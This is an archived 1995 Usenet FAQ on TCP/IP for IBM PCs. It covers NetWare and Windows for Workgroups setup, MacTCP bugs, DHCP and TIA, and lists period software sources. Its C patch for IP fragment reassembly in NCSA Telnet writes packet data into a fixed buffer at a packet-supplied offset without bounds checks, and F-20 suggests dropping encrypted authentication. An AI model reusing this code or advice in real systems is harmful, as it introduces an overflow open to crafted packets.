    reliable, a loss when it is not.

    Whatever the transport, NFS will have more overhead than TCP, because
    it is trying to transparently imitate an OS, and has to do a lot of
    shuffling and translating."


    F-3. Where can I get information on running NetWare and TCP/IP
    concurrently?

    The bit.listserv.novell group regularly posts a FAQ
    which includes information on concurrent use of TCP/IP and Novell
    IPX.

    F-4. What NetWare TCP/IP NLMs are out there and how do I get them
    to work?

    A public and known to work reliable TFTP and BOOTP daemon for NetWare
    OS 3.1x/4.0x and NetWare/IP are available from
    ftp://ftp.novell.de/~/pub/netwire/un...er/bootpd.exe.
    Contact: mailto:dirk@rhein-main.de

    F-5. How do I get a telecom package supporting Int 14h redirection
    to work?

    INT 14 is the BIOS serial port interrupt. "Int 14h redirection" means
    that Interrupt 14 is redirected to a Telnet connection to a
    particular host. This is useful because it allows a communications
    application to readily support telnet. Int 14h support is becoming
    increasing common, with vendors such as Mustang (QMODEM Pro) and
    Procomm Plus for networks having included this feature.

    Aside from commercial stacks (such as FTP's PC/TCP),
    try the TCPPORT program in WATTCP, available via
    ftp://dorm.rutgers.edu/pub/msdos/wattcp/apps.zip. However, I have
    tried to get this to run with QMODEM Pro and found that I didn't
    have enough RAM.

    FTP's PC/TCP includes a program called tnglass that supports Int 14h
    redirection.

    F-6. I am having trouble running Netmanage Chameleon apps along with
    WFW TCP/IP-32. What do I do?

    The problem is that you have two WINSOCK.DLLs installed, and when
    you bring up a NetManage Chameleon app, it attempts to load NEWT.
    To get around this problem, on starting up WFW, you need to run a
    TCP/IP-32 application such as Telnet or FTP. Once you do this, if
    you run a Chemaleon app, it will default to the Microsoft WINSOCK.DLL
    and everything will be fine.

    F-7. How do I get Windows For Workgroups to work alongside NetWare?

    The easiest way to do this is to first install Novell with ODI
    drivers, then install WFW v3.11. This version can run over ODI drivers,
    and will install itself so as to be compatible with NetWare.

    Another option is to use ODINSUP from Novell. This is an NDIS over
    ODI shim. This allows you to run software requiring ODI drivers, as well
    as software requiring NDIS drivers. Since IPX and TCP/IP are different
    protocols, you will not need to run PKTMUX.

    F-9. How come package X doesn't support the AppleTalk packet driver?

    An AppleTalk driver is available as appletlk.com as part of the Crynwr
    driver set. NCSA Telnet 2.3.03 and NuPOP support it, but very few other
    applications do, including Trumpet Winsock. This is because AppleTalk
    corresponds to packet driver class 5, while most applications only
    support Class 1 (Ethernet).

    Vendors with Windows Sockets implementations that support AppleTalk include
    FTP Software's PC/TCP. WinQVT/Net's built-in TCP/IP stack version is also
    rumored to be due to support AppleTalk in a future release.


    F-10. NCSA Telnet doesn't reassemble fragments. What should I do?

    Yell at the folks at NCSA to fix the problem, and to notify all
    the people who are using the same TCP/IP code to insert the fix in
    their software as well. This problem is really common, and
    very annoying, and affects NCSA Telnet as well as PC Gopher III,
    and POPmail. One possible workaround is to set the MTU to 576,
    but this will not always work.

    The following solution has been provided by Matthew T
    Kaufman (mailto:matthew@echo.com):

    How to get rid of the message:
    "IP: fragmented packet received, frags not supported"
    (assuming you have a C compiler and source code)
    by Matthew T Kaufman

    Many people on the net have complained that NCSA Telnet
    (among other useful PC TCP/IP programs) doesn't properly handle
    fragmented IP packets. this problem becomes especially evident if
    any of your packets are arriving over SLIP connections.
    I figured that the fastest way to get it to work would be to go
    ahead and do it myself rather than wait for it to get to the
    top of the list of desired features.

    MANY other programs have used the NCSA TCP/IP implementation, so
    if you maintain a program which does, PLEASE add this fix.
    I (and MANY OTHERS) are unable to use your software until you do.

    I posted the basic form of this fix around the beginning of the year,
    but it didn't seem to make it into several subsequent versions of
    related software, so I am posting and mailing this once again, in
    a revised form, with helpful hints at the end.

    I request only the following in return:
    This software revision is in the public domain. It may be
    used anywhere without further permission from the author.
    Please credit the origin of the fix in your release notes
    or bug fix document. (I am "Matthew Kaufman, matthew@echo.com")
    If you are the official maintainer of a software package
    which you have added this fix to, please send me an
    email note letting me know that the fix made it in.
    (So I don't need to worry that, for instance, the next
    version of NCSA Telnet or WinQVT/Net isn't going to
    include this) And, please add this fix as soon as possible.

    So here's my fix:

    The following are the changes to the NCSA Telnet TCP/IP engine to add
    support for IP fragment reassembly. I also know how to make telnet compile
    properly under Borland C without running out of space in DGROUP (see the end of this)

    if you have any questions, you can reach me at:
    matthew@echo.com. I am willing to help, within the limits of my schedule.

    changes follow:

    file: engine\ip.c (the only file that needs to change)

    delete the following:
    &gt;/*
    &gt;* We cannot handle fragmented IP packets yet, return an error
    &gt;*/
    &gt;
    &gt; if(p-&gt;i.frags &0x20) { /* check for a fragmented packet */
    &gt; netposterr(304);
    &gt; return(1);
    &gt; }

    ----------
    after the line:
    &gt; iplen-=hlen;

    but before the lines:
    &gt; /*
    &gt; * check to make sure that the packet is for me.


    add this:

    /* check for fragment and handle. note that the &0x20 above is WRONG */
    if(p-&gt;i.frags) /* NOW check for a fragmented packet - mtk add*/
    {
    ipfraghandle(p,iplen); /* pass in computed iplen to save time */
    return(1);
    }

    ----------
    and then, at the end of that file (ip.c) add this:

    /*
    * IP Fragment Reassembly Hack
    * by Matthew T Kaufman (matthew@echo.com)
    * 1/1993, 8/1993
    */

    typedef struct ipb {
    DLAYER d;
    IPLAYER i;
    uint8 data[4104]; /* "Big Enough" */
    }FIPKT;

    #define IPF_CHUNKS 513 /* 4104 / 8 */
    #define IPF_BITWORDS 18 /* 513 / 32 round up + 1*/
    #define IPF_BUFFERS 7 /* Max # of different fragmented pkts in transit */

    typedef struct {
    FIPKT pkt;
    unsigned long bits[IPF_BITWORDS];
    int lastchunk;
    unsigned long lasttime;
    unsigned int iplen;
    }FPBUF;

    static FPBUF far Frag[IPF_BUFFERS];

    ipfraghandle(IPKT *p, int iplen)
    {

    uint16 fraginfo;
    uint16 foffset;
    uint16 iden;
    FPBUF far *buf;
    int i;

    fraginfo = intswap(p-&gt;i.frags);
    foffset = fraginfo & (0x1fff);
    #define morefrags (fraginfo & (0x2000))

    iden = intswap(p-&gt;i.ident);

    /* we already KNOW that this IS fragmented */
    /* see if we can find any friends who've already arrived... */

    buf = (FPBUF *) 0L;
    for(i=0; i&lt;IPF_BUFFERS; i++)
    {
    if(p-&gt;i.ident == Frag[i].pkt.i.ident)
    {
    buf = &(Frag[i]);
    goto foundfriend;
    }
    }
    /* otherwise, we must be the first one here */
    {
    long oldtime = 0x7fffffff;
    int oldest = 0;

    for(i=0; i&lt;IPF_BUFFERS; i++)
    {
    if(Frag[i].lasttime == 0) /* unused buffer? */
    {
    buf = &(Frag[i]);
    goto foundempty;
    }

    if(Frag[i].lasttime &lt; oldtime) /* track LRU */
    {
    oldtime = Frag[i].lasttime;
    oldest = i;
    }
    }

    /* if we're here, we need to reuse LRU */

    buf = &(Frag[oldest]);

    foundempty: ;
    /* initialize new buffer */
    /* time will be filled in later */

    for(i=0; i&lt;IPF_BITWORDS; i++) buf-&gt;bits[i] = 0L; /* reset */
    buf-&gt;lastchunk = 0; /* reset */
    /* fill in the header with the current header */
    movmem(p,&(buf-&gt;pkt), sizeof(DLAYER) + sizeof(IPLAYER) );
    }


    foundfriend: ;

    /* now, deal with this specific fragment... */
    /* copy data */
    movmem(&(p-&gt;x.data),&(buf-&gt;pkt.data[8 * foffset]),iplen);
    /* update rx chunks information */
    for(i=foffset; i&lt;= (foffset+(iplen / 8)); i++)
    {
    buf-&gt;bits[i/32] |= (unsigned long) (1L&lt;&lt;(i % 32));
    }

    if(!morefrags)
    {
    /* now we can tell how long the total thing is */
    buf-&gt;iplen = (8*foffset)+iplen;
    buf-&gt;lastchunk = foffset;
    /* actually, lastchunk is more than this, but it */
    /* IS true that we only need to check through */
    /* this foffset value to make sure everything has */
    /* arrived -mtk */
    }

    /* now touch the time field, for buffer LRU */
    buf-&gt;lasttime = clock();

    /* check to see if there are fragments missing */

    if(buf-&gt;lastchunk == 0)
    {
    /* we haven't even gotten a fragment with a cleared MORE */
    /* FRAGMENTS flag, so we're missing THAT piece, at least */
    return 1;
    }
    for(i=0; i&lt;= buf-&gt;lastchunk; i++)
    {
    /* scanning to see if we have everything */
    if(0 == ((buf-&gt;bits[i/32]) & (unsigned long)(1L&lt;&lt;(i % 32))) )
    {
    return 1; /* still waiting for more */
    }
    }

    /* otherwise, done waiting... use the packet we've gathered */
    /* first clear stuff from fragment buffer: */
    buf-&gt;lasttime = 0L; /* mark as free to take */
    buf-&gt;lastchunk = 0; /* need to do this, because we use it as flag */
    buf-&gt;pkt.i.ident = 0; /* so we don't find this later */
    buf-&gt;pkt.i.frags = 0; /* in case anybody above us checks */
    /* then send it on its way... */

    if(!comparen(nnipnum,p-&gt;i.ipdest,4)) { /* potential non-match */
    if(comparen(nnipnum,junk,4) && p-&gt;i.protocol==PROTUDP)
    return(udpinterpret((UDPKT *)p,iplen));
    return(1); /* drop packet */
    } /* end if */

    switch (buf-&gt;pkt.i.protocol) { /* which protocol */
    case PROTUDP:
    return(udpinterpret((UDPKT *)&(buf-&gt;pkt),buf-&gt;iplen));

    case PROTTCP:
    return(tcpinterpret((TCPKT *)&(buf-&gt;pkt),buf-&gt;iplen));

    case PROTICMP:
    return(icmpinterpret((ICMPKT *)&(buf-&gt;pkt),buf-&gt;iplen));

    default:
    netposterr(303);
    return(1);
    }

    }

    *** helpful hint:

    if you run out of space in DGROUP, its because your compiler doesn't
    place each 'far' data object in its own segment. To make things work,
    you need to make the raw packet buffer be in its own segment.
    Here's how:
    in include/pcdefs.h search for:

    --&gt; unsigned char far raw[17000];

    (the 17000 might be some other number... smaller, if someone tried to
    fix this before)
    and change to

    --&gt; unsigned char far raw[17000]={0,0}; /* force into own segment */

    F-11. I am trying to configure a Macintosh to set its parameters automatically
    on bootup, but it isn't working. What's wrong?

    MacTCP has several bugs that can make it difficult to do automatic configuration.

    If you are trying to configure the default gateway by sending RIP packets
    to a Mac, you may have problems. While MacTCP can use RIP to configure
    the default gateway, it has a bug in that it will not choose the lowest
    advertised hop count, as it should. Instead, it uses the first RIP packet
    that comes along.

    But wait, there's more. When booted in "dynamic" mode, MacTCP puts out an
    ICMP Address Mask Request. This method of determining the network mask is
    often unsupported by other hosts. For example, my UNIX machine does not
    respond to these packets, and neither does KA9Q; some UNIX implementations
    such as System VR4 may return the wrong answer. As a result, my advice
    is not to automatically configure the subnet mask this way.

    But wait, there's more. When booted in "server" configuration mode off
    a LAN, MacTCP uses a buggy version of BOOTP. So if you send it a list of
    gateways, it will just use the first one sent, even if it is down and one
    of the others is up.

    F-12. I've heard that DHCP is a potential security risk. Is this true?

    No, it isn't. The concern relates to the use of dynamically allocated
    addresses, not DHCP per se. BOOTP allows configurations to be stored
    in a table, so that you know that student 337.ip.berkeley.edu
    corresponds to Ralphie Root, in case they do something nasty.
    However, in addition to dynamic address allocation from a pool,
    the DHCP protocol supports reservation of certain IP addresses for
    various MAC addresses, as well as automatic assignment, where an
    address is dynamically assigned the first time, then continues to
    be assigned to the same host after that. The result is that going
    to DHCP won't lose you any flexibility.

    Some services, such as FTP servers, will have problems with dynamically
    allocated addresses if DNS records are not properly setup for them. To do
    this, a given address must have a PTR record to an FQDN, and that FQDN must
    also point back to the address. This can be done by creating PTR and A
    records for all the addresses in the pool.

    F-13. What is TIA?

    TIA is a program that can be run on a UNIX shell account, which allows you
    to run graphical applications such as Mosaic as though you were connected
    over a SLIP link. You can therefore use TIA with stacks such as Trumpet
    Winsock, Chameleon, etc.

    TIA does not require root permissions, so it can only use ports 1024+,
    and therefore using it you can only run client applications, not
    server apps.

    To use TIA, your provider must offer an "8-bit clean" environment. This is
    *not* the same as 8-N-1 communications parameters, since even if you are
    using this, some characters may still cause problems.

    Many Internet service providers (such as Netcom) now officially endorse TIA
    for use on shell accounts. While right now only SLIP is supported, support
    for CSLIP and PPP is reportedly in the works.

    For information on TIA, check out:
    http://marketplace.com/
    ftp://marketplace.com/tia/
    ftp://marketplace.com/tia/docs/


    F-14. What PC TCP/IP implementations support recent advances?

    Here is a list of vendors supporting various advances:

    Long Fat Pipes:
    T/TCP:
    TOS queuing:
    Path MTU discovery (UDP):
    Path MTU discovery (TCP):
    OSPF:
    Round-robin DNS:
    DHCP client: FTP Software, Microsoft TCP/IP-32, NT
    NFS over TCP:
    SNMP Agents: Chameleon, FTP Software, Windows NT

    [Vendors out there, please pipe up if you support one or more of these!]

    F-15. What network adapters have on-board SNMP agents?

    This is by no means a complete list, but the following vendors are known to
    support this:
    MasterLAN ISA by UB Networks, Inc. 800-777-4LAN.
    ProNIC LAN10MM by Zenith Electronics Corp. 800-788-7244.

    F-16. What is the easiest way to get WFW and Novell to coexist?

    Before installing WFW v3.11, install Novell on the machine using an
    ODI driver. Then install WFW, and after that, the TCP/IP-32 protocol
    stack. The installers will automatically detect the present of
    Novell Netware, and will complete the setup for you, usually without
    a hitch. WFW v3.11 can talk directly to ODI drivers, so you will
    not need ODINSUP.

    F-17. I'm trying to use packet driver software alongside WFW v3.11 and
    am having a hell of a time. What should I do?

    Your problem is probably that you are trying to run NDIS v3.0 drivers
    alongside DIS_PKT. This will not work. What you need is Dan Lanciani's
    NDIS3PKT.386, a VxD packet driver over NDIS shim. See part 2 for
    details on how to get this.

    F-18. What proxy software is available for those concerned about security?

    WS_FTP can act as a proxy client to some ftpd version. Does anyone know what
    the appropriate server side is? Mosaic has also reportedly been "socksified."
    Any further details on this?

    Information on proxies is available at tns.com.

    F-19. How do I mount ftp.microsoft.com using File Manager?

    This is a really cool thing, since it is a lot faster than most graphical
    FTP applications, and is easy to do. Be aware that for this to work, you
    must *not* be behind a firewall.

    1. Edit the WIN\LMHOSTS file to include the following line:
    198.105.232.1 FTP

    2. Set Microsoft TCP/IP up to "Resolve using LMHOSTS file"

    3. Open the File Manager, and select Connect Network Drive from the Disk
    Menu. Type: \\FTP\DATA to the path to mount the FTP server area in the File Manager.
    Do *not* check the box saying "Reconnect on startup"

    4. Copy files.

    5. Select Disconnect Network Drive from the Disk menu.

    F-20. I am having problems connecting to a Windows NT PPP server. What
    should I do?

    On Windows NT you are probably using CHAP as the authentication protocol
    within LCP. Try using PAP authentication instead on both client and server.
    This can be accomplished by unchecking "Require encrypted authentication,"
    which is the default setting.

    If this still doesn't work, you may be having problems in the IPCP
    negotiation. Leaving the remote and local IP addresses set to 0.0.0.0
    may solve the problem, allowing these parameters to be set by the NT
    server.

    F-21. When should I use COMT?

    COMT is a "Telnet modem" that can be used to allow any communications
    program to use Telnet. Since COMT acts like a modem, you can telnet
    to a site using commands such as ATDTwell.com (to dial The WELL).

    Why should you care about this?
    a. If you want to do an XMODEM, YMODEM, or ZMODEM transfer over
    Telnet. For this to work, your Telnet implementation will need
    to negotiate a binary (8-bit) channel.
    b. You want to use RIP or ANSI graphics. Via COMT you can use
    a program such as QMODEM Pro to login to that RIP BBS.
    c. You need to dial in to CompuServe or AOL over the Internet.
    Using COMT you can fool the standard versions of these programs
    into dialing in over the Internet.

    F-22. What version of POP should I be running alongside Eudora?

    A lot of people (including me!) run the June 1991 1.83 beta of POP
    called popper, available via:
    ftp://ftp.CC.Berkeley.edu/pub/pop/solaris2/popper.tar.Z

    This generally works ok, but there are newer versions out there. These
    include:

    ftp://ftp.qualcomm.com/quest/unix/se...2.1.3-r5.tar.Z
    (Qualcom POP server)

    ftp://ftp.cac.washington.edu/imap/imap.tar.Z
    (ipop3d, part of the IMAP distribution)

    F-23. How do I use Netscape to read local files?

    To use Netscape without a network, you will need the following file:
    ftp://ftp.mcom.com/netscape/unsuppor...ows/mozock.dll
    Install this as winsock.dll; you will then be able to run Netscape to
    view local files.

    F-24. I want to run an NNTP server under OS/2. Does such an animal exist?

    Apparently yes. There is an OS/2 native appliation called changi01.zip
    that uses inews and UUPC to connect to a news server. This runs under
    OS/2 v3.0, and IBM TCP/IP v2.0.

    G. Information for developers

    G-1. What publicly distributable TCP/IP stacks are there that I can
    use to develop my own applications?

    In writing an application, you can use device drivers provided by
    particular vendors, or you can opt for an Application Binary Interface (ABI)
    that supports multiple TCP/IP protocol stacks, such as Winsock. For a given
    version of Windows, Winsock is an ABI for both Windows 3.x and Windows NT
    (via the NT Win16 subsystem).

    Device drivers are included with PC-NFS and Beame & Whiteside's
    BW-TCP. Free examples of ABIs are the WATTCP API, the NCSA API
    (public domain), the Trumpet ABI from Peter Tattum, and the NuPOP ABI.

    All major TCP/IP vendors have by now implemented Windows Sockets.

    G-2. Where can I get a copy of the Windows Sockets FAQ?

    A separate developer-oriented FAQ file about Windows Sockets created
    by Mark Towfiq is available on
    ftp://SunSite.UNC.EDU/pub/micro/pc-s...ws/winsock/FAQ
    and ftp://Microdyne.COM/pub/winsock/FAQ

    An alternative source for the FAQ is ftp://ftp.microsoft.com/

    G-3. How do I do multicasting using Windows Sockets?

    Information on use of multicasting is available via:
    ftp://ftp.microsoft.com/bussys/WinSo...t/MULTCAST.TXT
    and
    ftp://ftp.microsoft.com/bussys/WinSock/ms-ext/winsock.h


    ------------------------------ END OF PART 2 ------------------------

    Please send comments to:

    Bernard Aboba
    Author of:
    The Online User's Encyclopedia, Addison-Wesley, 1994
    The PC-Internet Connection, Publisher's Group West, due in 1995
    mailto:aboba@netcom.com
    FTP archive: ftp://ftp.zilker.net/pub/mailcom/
    WWW page: http://www.zilker.net/users/internaut/index.html

    From: aboba@netcom.com (Bernard Aboba)
    Subject: comp.protocols.tcp-ip.ibmpc Frequently Asked Questions (FAQ), part 3 of 5
    Expires: Fri, 12 May 1995 00:00:00 GMT
    Followup-To: poster
    Keywords: TCP/IP, IBM PC, SLIP, PPP, NDIS, ODI
    Organization: MailCom
    Reply-To: aboba@netcom.com
    Newsgroups: comp.protocols.tcp-ip.ibmpc,comp.protocols.tcp-ip,alt.winsock,comp.os.ms-windows.networking.tcp-ip,alt.answers,comp.answers,news.answers
    Approved: news-answers-request@MIT.Edu
    Summary: Frequently Asked Questions (and answers) about TCP/IP on
    PC-Compatible Computers

    Archive-name: ibmpc-tcp-ip-faq/part3

    comp.protocols.tcp-ip.ibmpc:
    FAQ Posting, part 3, 4/1/95

    ########## QUICKIE Guide to Useful Stuff ##########

    Drivers

    Packet drivers: ftp://oak.oakland.edu/pub/msdos/pktdrvr/pktd11.zip
    ftp://oak.oakland.edu/pub/msdos/pktdrvr/pktd11c.zip
    Packet specs: ftp://ftp.ftp.com/pub/packet-d.ascii
    NDIS specs: ftp://ftp.ftp.com/support/pub/ndis/ndis-mac.v10
    ftp://ftp.ftp.com/support/pub/ndis/ndis-mac.v20
    NDIS drivers: ftp://ftp.ftp.com/support/pub/ndis/
    ODI driver info:
    ftp://sjf-lwp.novell.com/anonymous/dev_docs/lan_drv/
    ftp://netlab2.usu.edu/odi
    ODI Protocol stack info:
    ftp://sjf-lwp.novell.com/anonymous/dev_docs/pstacks/
    Slipper: ftp://ftp.utas.edu.au/pc/trumpet/slipper/slipper.zip
    PKTMUX: ftp://ftp-ns.rutgers.edu/pub/msdos/wattcp/pktmux12.exe
    EtherPPP: ftp://merit.edu/pub/ppp/pc/etherppp.zip
    GoSLIP: ftp://ftp.cdrom.com/.5/cica/winsock/goslip2.zip
    ODIPKT: ftp://newdev.harvard.edu/pub/odipkt/odipkt.com
    Config file: ftp://newdev.harvard.edu/pub/odipkt/net.cfg
    Readme file: ftp://newdev.harvard.edu/pub/odipkt/readme

    TCP/IP Stacks

    Microsoft TCP/IP-32:
    ftp://ftp.microsoft.com/peropsys/windows/Public/tcpip/

    Trumpet Winsock:
    ftp://biochemistry.bioc.cwru.edu/pub...sk/winsock.zip
    ftp://ftp.utas.edu.au/pc/trumpet/winsock/winsock.zip
    ftp://biochemistry.bioc.cwru.edu/pub...sk/winapps.zip
    ftp://ftp.utas.edu.au/pc/trumpet/winsock/winapps.zip

    Chameleon sampler:
    ftp://ftp.netmanage.com/pub/demos/sampler/sampler.exe

    Web browsers:

    BookLink: ftp://ftp.booklink.com/lite/netlite.exe
    Netscape:
    ftp://ftp.digital.com/pub/net/infosys/Mosaic-Comm/
    ftp://lark.cc.ukans.edu/Netscape/
    ftp://ftp.meer.net/pub/Netscape/
    ftp://src.doc.ic.ac.uk/packages/Netscape/
    ftp://unix.hensa.ac.uk/pub/mosaic.comm.corp/
    ftp://archie.au/pub/misc/netscape/
    ftp://ftp.cica.indiana.edu/pub/pc/win3/winsock/ (PC only)
    ftp://mac.archive.umich.edu/mac/util/network/ (Mac only)
    EINet WinWeb: ftp://ftp.einet.net/einet/pc/winweb.zip
    Mosaic: ftp://ftp.ncsa.uiuc.edu/PC/Mosaic/wmos20a7.zip,
    ftp://ftp.ncsa.uiuc.edu/PC/Mosaic/win32s.zip,
    ftp://ftp.ncsa.uiuc.edu/PC/Mosaic/readme.now
    Cello: ftp://ftp.law.cornell.edu/pub/LII/Cello/cello.zip,
    ftp://ftp.law.cornell.edu/pub/LII/Cello/cellofaq.zip


    Other Winsock Applications

    Trumpet Newsreader:
    ftp://biochemistry.bioc.cwru.edu/pub/wintrumpet/
    CU-SeeMe: ftp://gated.cornell.edu/pub/video/cuseeme.zip
    HGopher: ftp://ftp.cdrom.com/.5/cica/winsock/hgoph24.zip
    WSGopher: ftp://sunsite.unc.edu/pub/micro/pc-s...s/wsgopher.zip
    InterGopher: ftp://ftp.intercon.com/InterCon/sale...ks/igopher.exe
    BCGopher: ftp://ftp.demon.co.uk/pub/ibmpc/wins...r/bcgopher.zip
    PNL Gopher: ftp://ftp.pnl.gov/
    Voice Chat: ftp://ftp.cdrom.com/.5/cica/winsock/ivc11.zip
    Global Phone: ftp://micros.hensa.ac.uk /mirrors/cica/win3/demo/igp16_102.zip
    ftp://micros.hensa.ac.uk /mirrors/cica/win3/demo/igp8_102.zip
    PCEudora: ftp://ftp.qualcomm.com/quest/windows...4/eudor144.exe (PC Eudora)
    EWAN: ftp://ftp.best.com/pub/bryanw/pc/winsock/ewan1052.zip
    WinFTP: ftp://ftp.cdrom.com/.5/cica/winsock/winftp.zip
    WinTalk: ftp://ftp.cdrom.com/.5/cica/winsock/wtalk121.zip
    3270: ftp://ftp.ccs.queensu.ca/pub/msdos/tcpip/qws3270.zip
    PhWIN: ftp://ftp.cdrom.com/.5/cica/winsock/phwin22.zip
    FTP client: ftp://ftp.cdrom.com/.5/cica/winsock/ws_ftp.zip (16 bit)
    ftp://ftp.cdrom.com/.5/cica/winsock/ws_ftp32.zip (32 bit)
    EINet WAIS: ftp://ftp.einet.net/einet/pc/EWAIS204.ZIP
    Comt: ftp://ftp.std.com/customers/software/rfdmail/comt.zip
    Finger: ftp://winftp.cica.indiana.edu/pub/pc...k/finger31.zip
    Dialer: ftp://winftp.cica.indiana.edu/pub/pc...il/dialexe.zip
    WinQVTNet: ftp://biochemistry.cwru.edu/pub/qvtnet/
    WSArchie: ftp://ftp.cdrom.com/.5/cica/winsock/wsarch07.zip
    WSIRC: ftp://ftp.cdrom.com/.5/cica/winsock/wsirc14c.zip
    WinVN: ftp://ftp.cdrom.com/.5/cica/winsock/winvn926.zip
    WinFSP: ftp://ftp.cdrom.com/.5/cica/winsock/winfsp12.zip
    Wlpr: ftp://ftp.cica.indiana.edu/pub/pc/wi...k/wlprs40c.zip
    Whois: ftp://ftp.cdrom.com/.5/cica/winsock/whois32.zip
    WinTelnet: ftp://ftp.ncsa.uiuc.edu/PC/Telnet/windows/wtel1b3.zip
    MPEG Viewer: ftp://ftp.ncsa.uiuc.edu/PC/Mosaic/viewers/mpegw32c.zip
    Windows Quicktime:
    ftp://lister.cc.ic.ac.uk/pub/wingoph...es/qtwplay.zip
    Windows sound player:
    ftp://lister.cc.ic.ac.uk/pub/wingoph.../wnplny09b.zip
    Viewers: ftp://ftp.law.cornell.edu/pub/LII/Cello/viewers.zip
    Windows W3 server:
    ftp://sunsite.unc.edu/pub/micro/pc-s...s/serweb03.zip
    JPEG Viewer: ftp://ftp.law.cornell.edu/pub/LII/Cello/lview31.zip
    GIF Viewer: ftp://ftp.law.cornell.edu/pub/LII/Cello/wingif14.zip
    Wham viewer: ftp://ftp.law.cornell.edu/pub/LII/Cello/wham131.zip
    Ghostscript: ftp://ftp.law.cornell.edu/pub/LII/Cello/gswin.zip
    X Windows Demo: ftp://winftp.cica.indiana.edu/pub/pc...s/xwindemo.zip

    Windows NT servers

    W3 server: ftp://emwac.ed.ac.uk/pub/https/HSI386.ZIP
    WAIS server: ftp://emwac.ed.ac.uk/pub/waistool
    Gopher server: ftp://emwac.ed.ac.uk/pub/gophers/GSI386.ZIP
    FTP server: ftp://sunsite.unc.edu/pub/micro/pc-s...ps/nt-ftpd.zip

    DOS Applications

    Minuet: ftp://boombox.micro.umn.edu/pub/pc/m...t/minuarc.exe,
    ftp://boombox.micro.umn.edu/pub/pc/m...st/install.txt
    PC-Pine: ftp://ftp.cac.washington.edu/mail/PC-PINE/pcpine_p.zip
    NCSA Telnet: ftp://merit.edu/pub/ppp/pc/ncsappp.zip
    KA9Q: ftp://biochemistry.bioc.cwru.edu/pub/nos/nos11c.exe,
    ftp://biochemistry.bioc.cwru.edu/pub/nos/nos11c.txt,
    ftp://biochemistry.bioc.cwru.edu/pub/nos/nos192.txt
    NOS View: ftp://ucsd.edu/hamradio/packet/tcpip...w/nosvw304.zip
    NUPOP: ftp://ftp.acns.nwu.edu/pub/nupop/

    Programming tools

    Pasock: ftp://oak.oakland.edu/SimTel/win3/winsock/pasock10.zip

    ############################################################

    RESOURCE LISTING

    Key

    Recommendation = I use, or have used this software or
    equipment, and I like it.

    Suggestion = I have not used this software, but it has been
    recommended to me by people that I trust.

    Downright Speculation = Neither myself nor anyone I know
    has used this, but it claims to offer interesting
    capabilities, so it's included.


    BOOKS

    Downright speculation
    NOSIntro - An Introduction to the KA9Q Network Operating System
    Price: 11.50 Pounds sterling, plus postage and handling.
    U.S. price, including shipping: 17.34 pounds sterling

    This book by Ian Wade (author of NOSView) thoroughly covers
    KA9Q. Publisher is Dowermain, 356 pages, 35 chapters, 6 appendices,
    illustrated. ISBN 1-897649-00-2.

    Dowermain, Ltd., 7 Daubeney Close, Harlington, DUNSTABLE, Bedfordshire,
    LU5 6NF, United Kingdom, mailto:ian@g3nrw.demon.co.uk. Written orders only,
    no U.S. distributor yet.

    Recommendation
    InfoPOP - Guide to Internet Resources Free

    InfoPOP/Windows is a smallish guide to the Internet in the form of a
    Windows Help application. InfoPOP/DOS is a TSR with the same content.

    Available via ftp://gmuvax2.gmu.edu/, or gopher://fenwick.gmu.edu/
    Computers/Info-Technology/Software
    |___under Software available on this Gopher

    MAILING LISTS

    Windows Sockets

    mailto:winsock-request@microdyne.com
    mailto:winsnmp-request@microdyne.com

    W3 for Windows

    mailto:LISTSERV@fatty.law.cornell.edu, with
    sub cello-l your full name
    in the body of the message.

    Firewalls

    mailto:majordomo@greatcircle.com, with
    sub firewalls-digest
    in the body of the message. Back issues
    are available at ftp.greatcircle.com:/pub/firewalls.digest/vNN.nMMM.Z
    where NN is the volume number and MMM is the issue number.

    Socks mailing list

    Discussion of application level gateways.
    mailto:socks-request@inoc.dl.nec.com

    SNMPv1 list

    mailto:snmp-request@psi.com, subject: subscribe,
    body: youraddress@yourhost.domain

    SNMPv2 list

    mailto:snmpv2-request@tis.com, subject: subscribe,
    body: youraddress@yourhost.domain

    Novell mailing list

    mailto:listserv@suvm.acs.syr.edu
    body: subscribe NOVELL &lt;Your Full Name&gt;

    CUTCP mailing list

    mailto:listserv@nstn.ns.ca
    body: sub cutcp-l &lt;Your Full Name&gt;

    Samba mailing list

    Discussion of the very cool SMB server software for UNIX.
    mailto:listproc@anu.edu.au
    Leave subject line blank, body:
    subscribe samba Firstname Lastname
    subscribe samba.announce Firstname Lastname

    Fergie mailing list

    For discussion of the packet sniffing and analysis software.
    mailto:request@dnpap.et.tudelft.nl
    body: subscribe fergie

    DHCP mailing list

    mailto:host-conf-request@sol.cs.bucknell.edu

    Internet Voice Chat users list

    http://pluto.njcc.com/~jjkane/ivcusers.html
    Also try IRC channel #IVC, or alt.winsock.ivc


    TOASTERNETS

    The Little Garden
    San Francisco, CA
    mailto:info@tlg.org

    Santa Cruz Community Internet (scruz-net)
    903 Pacific Ave. #203-A
    Santa Cruz, CA 95060
    (408)457-5050
    mailto:info@scruz.net

    North Bay Network
    20 Minor Court
    San Rafael, CA 94903
    (415)472-1600
    mailto:info@nbn.com

    RAINet
    9501 SW Westhaven
    Portland, OR 97225
    (503)297-8820
    mailto:admin@rain.com

    OBTAINING SOFTWARE

    If you don't have access to FTP, you can retrieve the
    files via e-mail, using the following mail servers:

    FTPmail

    mailto:ftpmail@decwrl.dec.com
    mailto:ftpmail@ftp.uni-stuttgart.de
    mailto:ftpmail@grasp.insa-lyon.fr
    mailto:ftpmail@doc.ic.ak.uk

    For information on how to do this, put "help" in
    the body of the message.

    BITFTP (available to BITNET users only)

    mailto:bitftp@vm.gmd.de
    mailto:bitftp@plesarn.edu.pl
    mailto:bitftp@pucc.princeton.edu

    CHAMELEON

    *Recommendation
    Chameleon Sampler Free

    This is the sampler version of the NetManage Chameleon
    TCP/IP product. Available via:
    ftp://ftp.netmanage.com/pub/demos/sampler/sampler.exe

    TRUMPET WINSOCK

    Recommendation
    Trumpet WinSock v2.0b

    A shareware version of Windows Sockets that runs over packet
    drivers and requires WINPKT. The latest version supports
    PPP as well as SLIP/CSLIP, and Socks Proxies. Available as:
    ftp://ftp.utas.edu.au/pc/trumpet/winsock/twsk20b.zip,
    ftp://ftp.utas.edu.au/pc/trumpet/winsock/winapps2.zip, or
    ftp://biochemistry.bioc.cwru.edu/pub...k/twsk20b.zip,
    ftp://biochemistry.bioc.cwru.edu/pub...k/winapps2.zip

    P. Tattam, Programmer; Psychology Department, University of
    Tasmania, Hobart, Tasmania, Australia, 61-02-202346;
    mailto:peter@psychnet.psychol.utas.edu.au

    Downright Speculation
    VxDTCP

    A shareware version of Windows Sockets, running over NDIS,
    and implemented as a VxD driver. Available at:
